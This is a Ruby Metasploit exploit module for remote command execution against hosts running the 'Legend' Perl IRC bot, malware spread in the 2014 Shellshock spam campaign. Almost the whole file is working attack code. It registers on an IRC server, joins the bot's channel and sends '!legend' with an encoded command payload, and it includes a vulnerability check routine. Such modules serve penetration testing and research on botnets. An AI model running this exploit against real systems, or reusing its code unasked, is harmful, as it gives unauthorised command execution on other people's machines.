166 lines
4.7 KiB
Ruby
166 lines
4.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Legend Perl IRC Bot Remote Code Execution',
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'Description' => %q{
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This module exploits a remote command execution on the Legend Perl IRC Bot.
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This bot has been used as a payload in the Shellshock spam last October 2014.
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This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and
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UDP flooding, the ability to remove system logs, and ability to gain root, and
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VNC scanning.
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Kevin Stevens, a Senior Threat Researcher at Damballa, has uploaded this script
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to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.
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},
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'Author' =>
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[
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'Jay Turla' # msf and initial discovery
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#MalwareMustDie
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '121681' ],
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[ 'EDB', '36836' ],
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[ 'URL', 'https://www.damballa.com/perlbotnado/' ],
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[ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details
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],
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'Platform' => %w{ unix win },
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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}
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},
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'Targets' =>
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[
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[ 'Legend IRC Bot', { } ]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 27 2015',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(6667),
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OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
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OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
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OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
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])
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end
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def check
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connect
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res = register(sock)
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if res =~ /463/ || res =~ /464/
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vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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return Exploit::CheckCode::Unknown
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end
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res = join(sock)
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if !res =~ /353/ && !res =~ /366/
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vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
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return Exploit::CheckCode::Unknown
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end
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quit(sock)
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disconnect
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if res =~ /auth/ && res =~ /logged in/
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def send_msg(sock, data)
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sock.put(data)
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data = ""
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begin
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read_data = sock.get_once(-1, 1)
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while !read_data.nil?
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data << read_data
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read_data = sock.get_once(-1, 1)
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end
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rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
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elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
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end
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data
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end
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def register(sock)
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msg = ""
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if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
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msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
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end
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if datastore['NICK'].length > 9
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nick = rand_text_alpha(9)
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print_error("The nick is longer than 9 characters, using #{nick}")
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else
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nick = datastore['NICK']
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end
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msg << "NICK #{nick}\r\n"
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msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
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send_msg(sock,msg)
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end
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def join(sock)
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join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
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send_msg(sock, join_msg)
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end
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def legend_command(sock)
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encoded = payload.encoded
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command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n"
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send_msg(sock, command_msg)
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end
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def quit(sock)
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quit_msg = "QUIT :bye bye\r\n"
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sock.put(quit_msg)
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end
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def exploit
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connect
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print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
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res = register(sock)
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if res =~ /463/ || res =~ /464/
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print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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return
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end
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print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
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res = join(sock)
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if !res =~ /353/ && !res =~ /366/
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print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
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return
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end
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print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")
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legend_command(sock)
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quit(sock)
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disconnect
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end
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end
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